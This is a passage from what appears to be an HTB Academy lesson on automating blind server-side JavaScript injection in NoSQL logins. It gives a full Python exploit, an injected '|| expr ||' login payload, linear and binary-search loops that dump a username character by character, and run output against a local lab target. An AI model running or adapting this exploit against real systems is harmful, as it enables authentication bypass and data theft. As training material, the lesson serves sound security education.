Introduction to NoSQL Injection
Automating Server-Side JavaScript Injection
Developing the Script
In the previous section, you should've managed to extract the first five characters of the target's username (HTB{?). To save us the effort of sending hundreds of requests for the rest, we will write another Python script to dump the username via (blind) SSJI.
First, we will define the oracle function and required imports. In the previous section, we used the payload " || true || ""==", because true is known to evaluate as true (obviously). In this function, we replace true with an arbitrary expression we want the server to assess. If it returns true, we will be logged in, and the function will return true (detects "Logged in as" in r.text), and if the express returns false we won't be logged in, so the function will return false.
We've already established that the password does not matter, so we can set it to a constant 'x'.
import requests
from urllib.parse import quote_plus
# Oracle (answers True or False)
num_req = 0
def oracle(r):
global num_req
num_req += 1
r = requests.post(
"http://127.0.0.1/index.php",
headers={"Content-Type":"application/x-www-form-urlencoded"},
data="username=%s&password=x" % (quote_plus('" || (' + r + ') || ""=="'))
)
return "Logged in as" in r.text
With the oracle function defined, we can test that it is working correctly with the following two assert statements:
# Ensure the oracle is working correctly
assert (oracle('false') == False)
assert (oracle('true') == True)
Now that that's all ready, we can proceed to dump the username similarly to the script from the Automating Blind Data Extraction section. Note that for this section, the alphabet is not restricted to 0-9a-f, but rather all printable ASCII characters (32-127).
# Dump the username ('regular' search)
num_req = 0 # Set the request counter to 0
username = "HTB{" # Known beginning of username
i = 4 # Set i to 4 to skip the first 4 chars (HTB{)
while username[-1] != "}": # Repeat until we dump '}' (known end of username)
for c in range(32, 127): # Loop through all printable ASCII chars
if oracle('this.username.startsWith("HTB{") && this.username.charCodeAt(%d) == %d' % (i, c)):
username += chr(c) # Append current char to the username if it expression evaluates as True
break # And break the loop
i += 1 # Increment the index counter
assert (oracle('this.username == `%s`' % username) == True) # Verify the username
print("---- Regular search ----")
print("Username: %s" % username)
print("Requests: %d" % num_req)
The specific query we are using is templated like this.username.startsWith("HTB{") && this.username.charCodeAt(i) == c. The first part ensures we are targeting the username we want (assumes there is only one username that starts with 'HTB{'), and the second part checks if the ASCII value of the character in the string at index i equals whatever value we are on in the loop (c).
At this point, we can run the script, and the username should be dumped successfully.
[!bash!]$ time python3 mangoonline-exploit.py
---- Regular search ----
Flag: HTB{...SNIP...}
Requests: 1678
real 2m40.351s
user 0m2.626s
sys 0m0.407s
Note: Due to the large number of requests this script requires, it may fail when testing it against the live target. The optimized version below should not have any issues.
Optimizing the Script
Although this script works, it is very inefficient. In the case of dumping a username that is only a couple dozen characters long, this isn't a big deal, but if we were trying to exfiltrate larger amounts of data, it could matter.
If you are familiar with popular searching algorithms, you may know of the binary search algorithm. The basic idea of a binary search is that we split the search area in half repeatedly until we find whatever it is we are looking for. In this case, we are looking for the ASCII value of the character at index 'i', and the search area is 32-127.
The binary search algorithm runs in O(log_2(N)) time in both the worst case, which is just a fancy way of saying it takes log_2(N) iterations to complete in the worst case. In this case, that means if we were to implement a binary search, it would take 7 iterations to find our target value in the worst case, which is much better than the worst case of 95 iterations, which we currently have. Simply put, this algorithm will save a lot of time and reduce the number of requests. If you are interested in understanding the technicalities, I recommend checking out this article on time complexity.
Although the algorithm may sound hard, it is straightforward to implement - only taking a few more lines of code than our original search:
# Dump the username (binary search)
num_req = 0 # Reset the request counter
username = "HTB{" # Known beginning of username
i = 4 # Skip the first 4 characters (HTB{)
while username[-1] != "}": # Repeat until we meet '}' aka end of username
low = 32 # Set low value of search area (' ')
high = 127 # Set high value of search area ('~')
mid = 0
while low <= high:
mid = (high + low) // 2 # Caluclate the midpoint of the search area
if oracle('this.username.startsWith("HTB{") && this.username.charCodeAt(%d) > %d' % (i, mid)):
low = mid + 1 # If ASCII value of username at index 'i' < midpoint, increase the lower boundary and repeat
elif oracle('this.username.startsWith("HTB{") && this.username.charCodeAt(%d) < %d' % (i, mid)):
high = mid - 1 # If ASCII value of username at index 'i' > midpoint, decrease the upper boundary and repeat
else:
username += chr(mid) # If ASCII value is neither higher or lower than the midpoint we found the target value
break # Break out of the loop
i += 1 # Increment the index counter (start work on the next character)
assert (oracle('this.username == `%s`' % username) == True)
print("---- Binary search ----")
print("Username: %s" % username)
print("Requests: %d" % num_req)
Running the modified script results in a reduction from 1678 requests to only 286, and in terms of time from 2 minutes and 40 seconds to 24 seconds! This doesn't make a huge difference when dumping small strings of data like a username, but if we wanted to extract more data you can probably imagine how much time this would save.
[!bash!]$ time python3 mangoonline-exploit.py
---- Binary search ----
Username: HTB{...SNIP...}
Requests: 286
real 0m24.186s
user 0m0.410s
sys 0m0.044s
The finished script
The complete script, including both algorithms, looks like this:
#!/usr/bin/python3
import requests
from urllib.parse import quote_plus
# Oracle (answers True or False)
num_req = 0
def oracle(r):
global num_req
num_req += 1
r = requests.post(
"http://127.0.0.1/index.php",
headers={"Content-Type":"application/x-www-form-urlencoded"},
data="username=%s&password=x" % (quote_plus('" || (' + r + ') || ""=="'))
)
return "Logged in as" in r.text
# Ensure the oracle is working correctly
assert (oracle('false') == False)
assert (oracle('true') == True)
# Dump the username ('regular' search)
num_req = 0 # Set the request counter to 0
username = "HTB{" # Known beginning of username
i = 4 # Set i to 4 to skip the first 4 chars (HTB{)
while username[-1] != "}": # Repeat until we dump '}' (known end of username)
for c in range(32, 128): # Loop through all printable ASCII chars
if oracle('this.username.startsWith("HTB{") && this.username.charCodeAt(%d) == %d' % (i, c)):
username += chr(c) # Append current char to the username if it expression evaluates as True
break # And break the loop
i += 1 # Increment the index counter
assert (oracle('this.username == `%s`' % username) == True) # Verify the username
print("---- Regular search ----")
print("Username: %s" % username)
print("Requests: %d" % num_req)
print()
# Dump the username (binary search)
num_req = 0 # Reset the request counter
username = "HTB{" # Known beginning of username
i = 4 # Skip the first 4 characters (HTB{)
while username[-1] != "}": # Repeat until we meet '}' aka end of username
low = 32 # Set low value of search area (' ')
high = 127 # Set high value of search area ('~')
mid = 0
while low <= high:
mid = (high + low) // 2 # Caluclate the midpoint of the search area
if oracle('this.username.startsWith("HTB{") && this.username.charCodeAt(%d) > %d' % (i, mid)):
low = mid + 1 # If ASCII value of username at index 'i' < midpoint, increase the lower boundary and repeat
elif oracle('this.username.startsWith("HTB{") && this.username.charCodeAt(%d) < %d' % (i, mid)):
high = mid - 1 # If ASCII value of username at index 'i' > midpoint, decrease the upper boundary and repeat
else:
username += chr(mid) # If ASCII value is neither higher or lower than the midpoint we found the target value
break # Break out of the loop
i += 1 # Increment the index counter (start work on the next character)
assert (oracle('this.username == `%s`' % username) == True)
print("---- Binary search ----")
print("Username: %s" % username)
print("Requests: %d" % num_req)
/ 1 spawns left
Questions
Answer the question(s) below to complete this Section and earn cubes!
Click here to spawn the target system!
Target:
Click here to spawn the target system!
+10 Streak pts
Table of Contents
Introduction
Introduction to NoSQL Introduction to NoSQL InjectionBasic NoSQL Injection
Bypassing Authentication In-Band Data ExtractionBlind Data Exfiltration
Blind Data Extraction Automating Blind Data Extraction Server-Side JavaScript Injection Automating Server-Side JavaScript InjectionTools of the Trade
Tools of the TradeDefending against NoSQL Injection
Preventing NoSQL Injection VulnerabilitiesSkills Assessment
Skills Assessment I Skills Assessment IIMy Workstation
OFFLINE
/ 1 spawns left